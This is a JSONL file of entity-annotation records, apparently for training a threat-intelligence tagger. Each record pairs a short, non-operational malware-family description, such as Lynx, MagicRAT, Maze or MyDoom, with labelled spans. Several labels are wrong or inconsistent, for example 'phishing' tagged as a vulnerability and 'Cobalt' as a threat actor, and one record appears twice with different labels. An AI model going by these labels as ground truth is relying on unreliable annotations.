+{"text": "According to Nextron, Lynx ransomware is a sophisticated malware threat that has been active since mid-2024. Lynx has claimed over 20 victims across a range of industries. Once it infiltrates a system, it encrypts critical files, appending a ‘.lynx’ extension, and deletes backup files like shadow copies to hinder recovery. Uniquely, it also sends the ransom note to available printers, adding an unexpected element to its attack strategy. This malware shares similarities with previous INC ransomware, indicating that they bought INC ransomware source code.", "spans": {"MALWARE: Lynx": [[22, 26], [109, 113]]}, "info": {"source": "apt_reports", "name": "Lynx"}}
+{"text": "According Zscaler, M00nD3V Logger has the ability to steal confidential information, such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials; capture Windows keystrokes; and gain access to the webcam and hook the clipboard. In all, it has the ability to steal passwords from 42 applications.", "spans": {"MALWARE: M00nD3V Logger": [[19, 33]], "SYSTEM: Windows": [[211, 218]], "ORGANIZATION: Zscaler": [[10, 17]]}, "info": {"source": "apt_reports", "name": "M00nD3V Logger"}}
+{"text": "Modular x86/x64 file infector created/used by Maze ransomware developer. According to the author, it has been mistakenly tagged by AVs as Expiro.", "spans": {"MALWARE: Maze": [[46, 50]], "MALWARE: Expiro": [[138, 144]]}, "info": {"source": "apt_reports", "name": "m0yv"}}
+{"text": "According to ESET, Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64‑encoded text that corresponds to AES‑encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it’s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.", "spans": {"MALWARE: Machete": [[19, 26], [1079, 1086]], "TOOL: RAR": [[42, 45]], "SYSTEM: Chrome": [[116, 122], [488, 494]], "SYSTEM: Windows": [[396, 403]], "SYSTEM: ESET": [[13, 17]], "ORGANIZATION: Google": [[821, 827]]}, "info": {"source": "apt_reports", "name": "Machete"}}
+{"text": "According to DCSO, this malware is written as a Extended Stored Procedure for a MSSQL server. The backdoor has capabilities to bruteforce logins to other MSSQL servers, adding a special hardcoded backdoor user in the case of successfully bruteforcing admin logins.", "spans": {}, "info": {"source": "apt_reports", "name": "Maggie"}}
+{"text": "According to Talos, MagicRAT is programmed in C++ programming language and uses the Qt Framework by statically linking it to the RAT on 32- and 64-bit versions. The Qt Framework is a programming library for developing graphical user interfaces, of which this RAT has none. Talos thinks that the objective was to increase the complexity of the code, thus making human analysis harder. On the other hand, since there are very few examples (if any) of malware programmed with Qt Framework, this also makes machine learning and heuristic analysis detection less reliable. The RAT uses the Qt classes throughout its entire code. The configuration is dynamically stored in a QSettings class eventually being saved to disk, a typical functionality provided by that class.\r\n\r\nMagicRAT provides the operator with a remote shell on the victim's system for arbitrary command execution, along with the ability to rename, move and delete files on the endpoint. The operator can determine the timing for the implant to sleep, change the C2 URLs and delete the implant from the infected system.", "spans": {"MALWARE: MagicRAT": [[20, 28], [768, 776]], "ORGANIZATION: Talos": [[13, 18], [273, 278]]}, "info": {"source": "apt_reports", "name": "MagicRAT"}}
+{"text": "According to TXOne, The Magniber ransomware was first identified in late 2017 when it was discovered using the Magnitude Exploit Kit to conduct malvertising attacks against users in South Korea. However, it has remained active since then, continually updating its tactics by employing new obfuscation techniques and methods of evasion. In April 2022, Magniber gained notoriety for disguising itself as a Windows update file to lure victims into installing it. It then began spreading via JavaScript in September 2022.", "spans": {"MALWARE: Magniber": [[24, 32], [351, 359]], "SYSTEM: Windows": [[404, 411]]}, "info": {"source": "apt_reports", "name": "Magniber"}}
+{"text": "According to Zscaler, MAILCREEP is a Golang-based backdoor leveraging the Microsoft Graph API for its C2 communications.", "spans": {"MALWARE: MAILCREEP": [[22, 31]], "ORGANIZATION: Microsoft": [[74, 83]], "ORGANIZATION: Zscaler": [[13, 20]]}, "info": {"source": "apt_reports", "name": "MAILCREEP"}}
+{"text": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "spans": {"MALWARE: MAKOP": [[27, 32], [183, 188], [285, 290], [394, 399]], "MALWARE: makop": [[216, 221]], "ORGANIZATION: RSA": [[296, 299]]}, "info": {"source": "apt_reports", "name": "Makop"}}
+{"text": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "spans": {"MALWARE: MAKOP Ransomware": [[27, 43]], "ORGANIZATION: RSA": [[296, 299]]}, "info": {"source": "apt_reports", "name": "Makop Ransomware"}}
+{"text": "According to PCrisk, Maktub is ransomware distributed via zipped Word documents. Once the file is extracted and opened, Maktub infiltrates the system and encrypts files stored on the victim's computer. Maktub ransomware adds a .NORV, .gyul (or other random) extension to each file encrypted, thus, making it straightforward to determine which files are encrypted.", "spans": {"MALWARE: Maktub": [[21, 27], [120, 126], [202, 208]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Maktub"}}
+{"text": "According to PCrisk,  Mamba is an updated variant of high-risk ransomware called Phobos. After successful infiltration, Mamba encrypts stored files and appends filenames with the \".mamba\" extension plus the victim's unique ID and developer's email address.", "spans": {"MALWARE: Mamba": [[22, 27], [120, 125]], "ORGANIZATION: PCrisk": [[13, 19]], "MALWARE: Phobos": [[81, 87]]}, "info": {"source": "apt_reports", "name": "Mamba"}}
+{"text": "Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.", "spans": {"THREAT_ACTOR: Cobalt": [[33, 39]], "TOOL: Cobalt Strike": [[33, 46]], "TOOL: Sliver": [[51, 57]], "SYSTEM: Rust": [[70, 74]], "SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Manjusaka"}}
+{"text": "Ransomware family closely related to GlobeImposter, notable for its use of SHACAL-2 encryption algorithm.", "spans": {"MALWARE: GlobeImposter": [[37, 50]]}, "info": {"source": "apt_reports", "name": "Maoloa"}}
+{"text": "Marap is a downloader, named after its command and control (C&C) phone home parameter \"param\" spelled backwards. It is written in C and contains a few notable anti-analysis features.", "spans": {"MALWARE: Marap": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Marap"}}
+{"text": "Ransomware written in Delphi.", "spans": {}, "info": {"source": "apt_reports", "name": "Mars"}}
+{"text": "3xp0rt describes Mars Stealer as an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins.", "spans": {"MALWARE: Mars Stealer": [[17, 29]], "MALWARE: Mars": [[17, 21]], "MALWARE: Oski Stealer": [[58, 70]]}, "info": {"source": "apt_reports", "name": "Mars Stealer"}}
+{"text": "MassLogger is a .NET credential stealer. It starts with a launcher that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload.", "spans": {"SYSTEM: .NET": [[16, 20]]}, "info": {"source": "apt_reports", "name": "MASS Logger"}}
+{"text": "According to PCrisk, Matanbuchus is a loader-type malicious program offered by its developers as Malware-as-a-Service (MaaS). This piece of software is designed to cause chain infections.\r\n\r\nSince it is used as a MaaS, both the malware it infiltrates into systems, and the attack reasons can vary - depending on the cyber criminals operating it. Matanbuchus has been observed being used in attacks against US universities and high schools, as well as a Belgian high-tech organization.", "spans": {"MALWARE: Matanbuchus": [[21, 32], [346, 357]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Matanbuchus"}}
+{"text": "Matiex Keylogger is being sold in the underground forums, due to their gained popularity, and can also be used as MaaS (Malware-as-a-service) because of their ease of use, competitive pricing and immediate response from support.", "spans": {"MALWARE: Matiex": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Matiex"}}
+{"text": "Matrix is a ransomware that encrypts a victim's files and demands a ransom in cryptocurrency to decrypt them. It is distributed through phishing emails, hacking toolkits, and software downloaders. Matrix is a serious threat and can cause significant damage to a victim's data.", "spans": {"VULNERABILITY: phishing": [[136, 144]]}, "info": {"source": "apt_reports", "name": "Matrix Ransom"}}
+{"text": "Specialized PoisonIvy Sideloader.", "spans": {"MALWARE: PoisonIvy": [[12, 21]]}, "info": {"source": "apt_reports", "name": "Maudi"}}
+{"text": "Banking trojan written in Delphi, targeting customers of European and South American banks.", "spans": {}, "info": {"source": "apt_reports", "name": "Maxtrilha"}}
+{"text": "Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.\r\n\r\nActors are known to exfiltrate the data from the network for further extortion. It spreads mainly using email spam and various exploit kits (Spelevo, Fallout). \r\n\r\nThe code of Maze ransomware is highly complicated and obfuscated, which helps to evade security solutions using signature-based detections.", "spans": {"MALWARE: Maze": [[0, 4], [458, 462]]}, "info": {"source": "apt_reports", "name": "Maze"}}
+{"text": "This ransomware modifies the master boot record of the victim's computer so that it shows a ransom note before Windows starts.", "spans": {"SYSTEM: Windows": [[111, 118]]}, "info": {"source": "apt_reports", "name": "MBRlock"}}
+{"text": "Ransomware overwriting the system's MBR, making it impossible to boot into Windows.", "spans": {"SYSTEM: Windows": [[75, 82]]}, "info": {"source": "apt_reports", "name": "MBR Locker"}}
+{"text": "According to Unit 42, Medusa surfaced as a ransomware-as-a-service (RaaS) platform in late 2022 and gained notoriety in early 2023, primarily targeting Windows environments. Medusa should not be confused with a similarly named RaaS, MedusaLocker, which has been available since 2019.", "spans": {"TOOL: Medusa": [[22, 28], [174, 180]], "SYSTEM: Windows": [[152, 159]], "ORGANIZATION: Unit 42": [[13, 20]], "MALWARE: MedusaLocker": [[233, 245]]}, "info": {"source": "apt_reports", "name": "Medusa"}}
+{"text": "A Windows ransomware that will run certain tasks to prepare the target system for the encryption of files. MedusaLocker avoids executable files, probably to avoid rendering the targeted system unusable for paying the ransom. It uses a combination of AES and RSA-2048, and reportedly appends extensions such as .encrypted, .bomber, .boroff, .breakingbad, .locker16, .newlock, .nlocker, and .skynet.", "spans": {"MALWARE: MedusaLocker": [[107, 119]], "SYSTEM: Windows": [[2, 9]], "ORGANIZATION: RSA": [[258, 261]]}, "info": {"source": "apt_reports", "name": "MedusaLocker"}}
+{"text": "Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.", "spans": {"TOOL: Medusa": [[0, 6]], "SYSTEM: .NET": [[32, 36]], "VULNERABILITY: DDoS": [[12, 16]]}, "info": {"source": "apt_reports", "name": "MedusaHTTP"}}
+{"text": "Megacortex is a ransomware  used in targeted attacks against corporations.\r\nOnce the ransomware is run it tries to stop security related services and after that it starts its own encryption process adding a .aes128ctr or .megac0rtx extension to the encrypted files. It is used to be carried from downloaders and trojans, it has no own propagation capabilities.", "spans": {"MALWARE: Megacortex": [[0, 10]]}, "info": {"source": "apt_reports", "name": "MegaCortex"}}
+{"text": "Megumin Trojan, is a malware focused on multiple fields (DDoS, Miner, Loader, Clipper).", "spans": {"VULNERABILITY: DDoS": [[57, 61]]}, "info": {"source": "apt_reports", "name": "MeguminTrojan"}}
+{"text": "According to PCrisk, MEOW is ransomware based on other ransomware called CONTI. MEOW encrypts files and appends the \".MEOW\" extension to their filenames. It also drops the \"readme.txt\" file (a ransom note). An example of how MEOW ransomware modifies filenames: it renames \"1.jpg\" to \"1.jpg.MEOW\", \"2.png\" to \"2.png.MEOW\", and so forth.", "spans": {"MALWARE: MEOW": [[21, 25], [80, 84], [118, 122], [225, 229], [290, 294], [315, 319]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Meow"}}
+{"text": "Merlin is a cross-platform post-exploitation HTTP/2 Command & Control  server and agent written in golang.", "spans": {"MALWARE: Merlin": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Merlin"}}
+{"text": "Mespinosa is a ransomware which encrypts file using an asymmetric encryption and adds .pysa as file extension. According to dissectingmalware the extension \"pysa\" is probably derived from the Zanzibari Coin with the same name.", "spans": {"MALWARE: pysa": [[87, 91], [157, 161]]}, "info": {"source": "apt_reports", "name": "Mespinoza"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "MetadataBin"}}
+{"text": "According  to BitDefender, Metamorfo is a family of banker Trojans that has been active since mid-2018. It primarily targets Brazilians and is delivered mostly through Office files rigged with macros in spam attachments. Metamorfo is a potent piece of malware, whose primary capability is theft of banking information and other personal data from the user and exfiltration of it to the C2 server.", "spans": {"MALWARE: Metamorfo": [[27, 36], [221, 230]]}, "info": {"source": "apt_reports", "name": "Metamorfo"}}
+{"text": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", "spans": {}, "info": {"source": "apt_reports", "name": "MetaStealer"}}
+{"text": "A wiper used in an attack against the Iranian train system.", "spans": {}, "info": {"source": "apt_reports", "name": "Meteor"}}
+{"text": "A botnet that used Tor .onion links for C&C.", "spans": {"TOOL: Tor": [[19, 22]]}, "info": {"source": "apt_reports", "name": "Mevade"}}
+{"text": "Open-source lightweight backdoor for C2 communication.\r\nGitHub: https://github.com/Cr4sh/MicroBackdoor", "spans": {"URL: https://github.com/Cr4sh/MicroBackdoor": [[64, 102]], "MALWARE: MicroBackdoor": [[89, 102]], "SYSTEM: GitHub": [[56, 62]]}, "info": {"source": "apt_reports", "name": "MicroBackdoor"}}
+{"text": "This malware written in Delphi is an information stealing malware family dubbed \"MICROPSIA\". It has s wide range of data theft functionality built in.", "spans": {"MALWARE: MICROPSIA": [[81, 90]]}, "info": {"source": "apt_reports", "name": "Micropsia"}}
+{"text": "This malware written in C# is a variant of the Thanos ransomware family and emerged in October 2021 and is obfuscated using SmartAssembly. In 2022, ThreatLabz analysed a report of Midas ransomware was slowly deployed over a two month period (ZScaler). This ransomware features also its own data leak site as part of its double extortion strategy.", "spans": {"MALWARE: Midas": [[180, 185]], "MALWARE: Thanos": [[47, 53]]}, "info": {"source": "apt_reports", "name": "Midas"}}
+{"text": "In August 2019, Kaspersky Labs discovered a malware they dubbed Milum (naming based on internal file name fragments) when investigating an operation they named WildPressure. It is written in C++ using STL, primarily to parse JSON. Functionality includes bidirectional file transmission and remote command execution.", "spans": {"MALWARE: Milum": [[64, 69]], "THREAT_ACTOR: WildPressure": [[160, 172]], "SYSTEM: Kaspersky": [[16, 25]]}, "info": {"source": "apt_reports", "name": "Milum"}}
+{"text": "According to PCrisk, Mimic is a ransomware-type program. Malware within this classification is designed to encrypt data and demand ransoms for decryption. Evidence suggests that Mimic is based on the leaked CONTI ransomware builder. Mimic campaigns have been observed targeting English and Russian speaking users.", "spans": {"ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Mimic Ransomware"}}
+{"text": "Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.\r\n\r\nAttackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.", "spans": {"MALWARE: Mimikatz": [[19, 27], [176, 184], [324, 332], [500, 508]], "SYSTEM: Kerberos": [[125, 133]], "SYSTEM: Windows": [[248, 255]]}, "info": {"source": "apt_reports", "name": "MimiKatz"}}
+{"text": "Ransomware, potential rebranding of win.sfile.", "spans": {}, "info": {"source": "apt_reports", "name": "Mindware"}}
+{"text": "According to Mandiant, this is a custom backdoor that provides a more flexible code-execution interface and enhanced reconnaissance features compared to MINIBIKE.", "spans": {"MALWARE: MINIBIKE": [[153, 161]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "MINIBIKE"}}
+{"text": "miniBlindingCan is an HTTP(S) orchestrator.\r\n\r\nIt is a variant of the BlindingCan RAT, having the same command parsing logic, but supporting only a small subset of commands available previously. The main operations are the update of the malware configuration, and the download and execution of additional payloads from the attackers' C&C.\r\n\r\nThe miniBlindingCan malware was used in Operation DreamJob attacks against aerospace and media companies in Q2-Q3 2022.", "spans": {"MALWARE: miniBlindingCan": [[0, 15], [346, 361]]}, "info": {"source": "apt_reports", "name": "miniBlindingCan"}}
+{"text": "According to Mandiant, this is a custom backdoor that provides a more flexible code-execution interface and enhanced reconnaissance features compared to MINIBIKE.", "spans": {"ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: MINIBIKE": [[153, 161]]}, "info": {"source": "apt_reports", "name": "MINIBUS"}}
+{"text": "The MiniDuke toolset consists of multiple downloader and backdoor components", "spans": {"MALWARE: MiniDuke": [[4, 12]]}, "info": {"source": "apt_reports", "name": "MiniDuke"}}
+{"text": "miniTYPEFRAME is a variant of TYPEFRAME, a RAT for Windows.\r\n\r\nIts functionality is reduced to serve mostly as a proxy module. Its commands are indexed by 16-bit integers, usually in the range 0x8027–0x8044.", "spans": {"MALWARE: miniTYPEFRAME": [[0, 13]], "SYSTEM: Windows": [[51, 58]], "MALWARE: TYPEFRAME": [[30, 39]]}, "info": {"source": "apt_reports", "name": "miniTypeFrame"}}
+{"text": "According to Minerva Labs, MirrorBlast malware is a trojan that is known for attacking users’ browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously.  Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.", "spans": {"MALWARE: MirrorBlast": [[27, 38]], "THREAT_ACTOR: TA505": [[324, 329]]}, "info": {"source": "apt_reports", "name": "MirrorBlast"}}
+{"text": "According to Trend Micro, this is a loader for win.transbox, used by threat actor Earth Yako.", "spans": {"THREAT_ACTOR: Earth Yako": [[82, 92]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "MirrorKey"}}
+{"text": "Undocumented information stealer targeting multiple browsers and cryptocurrences. Internal project name appears to be \"misha\".", "spans": {"MALWARE: misha": [[119, 124]]}, "info": {"source": "apt_reports", "name": "Misha"}}
+{"text": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald’s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.", "spans": {"MALWARE: Mispadu": [[28, 35]], "SYSTEM: Chrome": [[322, 328]], "SYSTEM: ESET": [[13, 17], [273, 277]], "ORGANIZATION: Google": [[315, 321]], "VULNERABILITY: credential theft": [[244, 260]]}, "info": {"source": "apt_reports", "name": "Mispadu"}}
+{"text": "Mandiant associates this with UNC4191, this malware decrypts and runs DARKDEW.", "spans": {"THREAT_ACTOR: UNC4191": [[30, 37]], "ORGANIZATION: Mandiant": [[0, 8]], "MALWARE: DARKDEW": [[70, 77]]}, "info": {"source": "apt_reports", "name": "MISTCLOAK"}}
+{"text": "According to Mandiant, MISTPEN is a lightweight backdoor written in C whose main functionality is to download and execute Portable Executable (PE) files. The backdoor is a modification of the open-source Notepad++ binhex plugin v2.0.0.1 where the creation of a thread that executes the malicious code has been added to the DllMain function.", "spans": {"MALWARE: MISTPEN": [[23, 30]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "MISTPEN"}}
+{"text": "According to Proofpoint, MiyaRAT is a remote access trojan (RAT) written in C++ that uses sockets for communications and has standard RAT functionality. It is possibly authored by the same developer(s) as WmRAT.", "spans": {"MALWARE: MiyaRAT": [[25, 32]], "ORGANIZATION: Proofpoint": [[13, 23]], "MALWARE: WmRAT": [[205, 210]]}, "info": {"source": "apt_reports", "name": "MiyaRAT"}}
+{"text": "LNK files used to lure and orchestrate execution of various scripts, interacting with the Mocky API service.", "spans": {}, "info": {"source": "apt_reports", "name": "Mocky LNK"}}
+{"text": "According to PCrisk, ModernLoader, also known as Avatar Bot and AvatarLoader, is a malicious program that has minimalistic loader and RAT (Remote Access Trojan) functionalities.\r\n\r\nLoader-type malware is designed to infect devices with additional malicious programs, while RATs enable remote access/control over infected machines. ModernLoader is capable of executing basic commands and injecting malicious modules into systems.", "spans": {"MALWARE: ModernLoader": [[21, 33], [331, 343]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "ModernLoader"}}
+{"text": "ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.", "spans": {"MALWARE: ModPipe": [[0, 7], [303, 310], [566, 573]], "SYSTEM: Windows": [[511, 518]]}, "info": {"source": "apt_reports", "name": "ModPipe"}}
+{"text": "Moisha is a .NET-based ransomware that employs double extortion techniques to encrypt and exfiltrate data from victims. Upon execution, it creates a global mutex to ensure only one instance of the malware runs on the affected system. It then stops services such as backup and antivirus to avoid interference during the encryption process. Moisha disables real-time protection in Microsoft Defender and removes shadow copies using PowerShell and Vssadmin. It encrypts files on the system using RSA and AES encryption algorithms and places a ransom note in the affected directory. The note instructs victims to contact the attackers via a Moisha ID on TOX Messenger to negotiate the ransom. Additionally, Moisha spreads to other machines on the network and self-deletes using PowerShell command line.", "spans": {"TOOL: PowerShell": [[430, 440], [774, 784]], "SYSTEM: Microsoft Defender": [[379, 397]], "SYSTEM: .NET": [[12, 16]], "ORGANIZATION: Microsoft": [[379, 388]], "ORGANIZATION: RSA": [[493, 496]]}, "info": {"source": "apt_reports", "name": "Moisha Ransomware"}}
+{"text": "MoleNet is a .NET downloader malware used by the Molerats group in targeted attacks in the Middle East. Before downloading additional payloads, it first collects information about the infected machine using WMI queries and sends the data to its operators. It was first discovered in 2020, however, Cybereason researchers showed that it has been in use since at least 2019, with infrastructure that operated since 2017.", "spans": {"MALWARE: MoleNet": [[0, 7]], "THREAT_ACTOR: Molerats": [[49, 57]], "SYSTEM: WMI": [[207, 210]], "SYSTEM: .NET": [[13, 17]], "ORGANIZATION: Cybereason": [[298, 308]]}, "info": {"source": "apt_reports", "name": "MoleNet"}}
+{"text": "According to ESET, first seen in-the-wild on 26th May, 2017, the malicious mining software is a fork of a legitimate open source Monero CPU miner called xmrig.", "spans": {"SYSTEM: ESET": [[13, 17]], "MALWARE: xmrig": [[153, 158]]}, "info": {"source": "apt_reports", "name": "Monero Miner"}}
+{"text": "A new ransomware gang hitting companies in worldwide firstly spotted by Zscaler.", "spans": {"ORGANIZATION: Zscaler": [[72, 79]]}, "info": {"source": "apt_reports", "name": "Money Message"}}
+{"text": "MoonBounce is a malware embedded into a modified UEFI firmware. Placed into SPI flash, it can provide persistence across full reinstall and even disk replacements. MoonBounce deploys user-mode malware through in-memory staging with a small footprint.", "spans": {"MALWARE: MoonBounce": [[0, 10], [164, 174]], "SYSTEM: UEFI": [[49, 53]]}, "info": {"source": "apt_reports", "name": "MoonBounce"}}
+{"text": "According to Cisco Talos, this RAT is derived from the open source XenoRAT.", "spans": {"SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]], "MALWARE: XenoRAT": [[67, 74]]}, "info": {"source": "apt_reports", "name": "MoonPeak"}}
+{"text": "The malware, potentially named \"MOON_TAG\" by its developer as indicated by the strings within, is derived from code shared in a Google Group (https://groups.google.com/g/ph4nt0m/c/2J3_1XPeKD8/m/AYPoWudRcTAJ?pli=1). Each variant discovered possesses capabilities to communicate via the Microsoft Graph API. At this moment, it appears to be in development.", "spans": {"URL: https://groups.google.com/g/ph4nt0m/c/2J3_1XPeKD8/m/AYPoWudRcTAJ?pli=1": [[142, 212]], "ORGANIZATION: Microsoft": [[285, 294]], "ORGANIZATION: Google": [[128, 134]]}, "info": {"source": "apt_reports", "name": "MOONTAG"}}
+{"text": "This tool is a passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them. This forms a covert channel over which attackers are able to issue shell commands and receive back their outputs.", "spans": {}, "info": {"source": "apt_reports", "name": "Moriya"}}
+{"text": "Ransomware. Identical samples (apart from note) operated by Morpheus and HellCat ransomware groups.", "spans": {"MALWARE: Morpheus": [[60, 68]], "MALWARE: HellCat": [[73, 80]]}, "info": {"source": "apt_reports", "name": "Morpheus"}}
+{"text": "According to Fortinet, this malware is written in Easy Programming Language (EPL), a Simplified-Chinese-based programming language designed to be beginner-friendly and easy to understand, especially for native Chinese speakers.", "spans": {"SYSTEM: Fortinet": [[13, 21]]}, "info": {"source": "apt_reports", "name": "MostereRAT"}}
+{"text": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim’s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", "spans": {"MALWARE: MountLocker": [[25, 36], [102, 113], [467, 478]], "ORGANIZATION: BlackBerry": [[13, 23]], "ORGANIZATION: RSA": [[323, 326]]}, "info": {"source": "apt_reports", "name": "Mount Locker"}}
+{"text": "According to PCrisk, Mozart is malicious software that allows attackers (cyber criminals) to execute various commands on an infected computer through the DNS protocol. This communication method helps cyber criminals to avoid detection via security software. Mozart is categorized as a malware loader and executes commands that cause download and installation of malicious software.", "spans": {"MALWARE: Mozart": [[21, 27], [258, 264]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "mozart"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "MRAC"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "MrDec"}}
+{"text": "a command-line reconnaissance tool. It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts.", "spans": {}, "info": {"source": "apt_reports", "name": "murkytop"}}
+{"text": "According to bin.re, Murofet, also called LICAT, is a member of the ZeuS family. It uses a Domain Generation Algorithm (DGA) to determine the current C2 domain names.", "spans": {"MALWARE: Murofet": [[21, 28]], "MALWARE: LICAT": [[42, 47]]}, "info": {"source": "apt_reports", "name": "Murofet"}}
+{"text": "When executed, the worm opens up Windows' Notepad with garbage data in it. When spreading, the infectious email used to distribute the worm copies use variable subjects, bodies and attachment names.\r\n\r\nThe worm encrypts most of the strings in it's UPX-packed body with ROT13 method, i.e. the characters are rotated 13 locations to the right in the abecedary, starting from the beginning if the position is beyond the last letter.\r\n\r\nMydoom also performs a Distributed Denial-of-Service attack on www.sco.com. This attack starts on 1st of February.\r\n\r\nThe worm opens up a backdoor to infected computers. This is done by planting a new SHIMGAPI.DLL file to system32 directory and launching it as a child process of EXPLORER.EXE.\r\n\r\nMydoom is programmed to stop spreading on February 12th.", "spans": {"DOMAIN: www.sco.com": [[496, 507]], "MALWARE: Mydoom": [[433, 439], [730, 736]], "TOOL: UPX": [[248, 251]], "SYSTEM: Windows": [[33, 40]]}, "info": {"source": "apt_reports", "name": "MyDoom"}}
+{"text": "According to PCrisk, MyloBot is a high-risk trojan-type virus that allows cyber criminals to control the infected machine. MyloBot can be considered as a botnet, since all infected computers are connected to a single network. Depending on cyber criminals' goals, infected machines might be misused or have additional infections applied.", "spans": {"MALWARE: MyloBot": [[21, 28], [123, 130]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "MyloBot"}}
+{"text": "According to ZScaler, a new information stealer that was first advertised in April 2023, capable of stealing credentials from nearly 40 web browsers and more than 70 browser extensions, also targeting cryptocurrency wallets, Steam, and Telegram. The code is heavily obfuscated making use of polymorphic string obfuscation, hash-based import resolution, and runtime calculation of constants.\r\nMystic implements a custom binary protocol that is encrypted with RC4.", "spans": {"SYSTEM: Telegram": [[236, 244]]}, "info": {"source": "apt_reports", "name": "Mystic Stealer"}}
+{"text": "Botnet with focus on banks in Latin America and South America.\r\nRelies on DLL Sideloading attacks to execute malicious DLL files.\r\nUses legitimate VMWare executable in attacks. \r\nAs of March 2019, the malware is under active development with updated versions coming out on persistent basis.", "spans": {}, "info": {"source": "apt_reports", "name": "N40"}}
+{"text": "According to FireEye, NACHOCHEESE is a command-line tunneler that accepts delimited C&C IPs or domains via command-line and gives actors shell access to a victim's system.", "spans": {"MALWARE: NACHOCHEESE": [[22, 33]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "NACHOCHEESE"}}
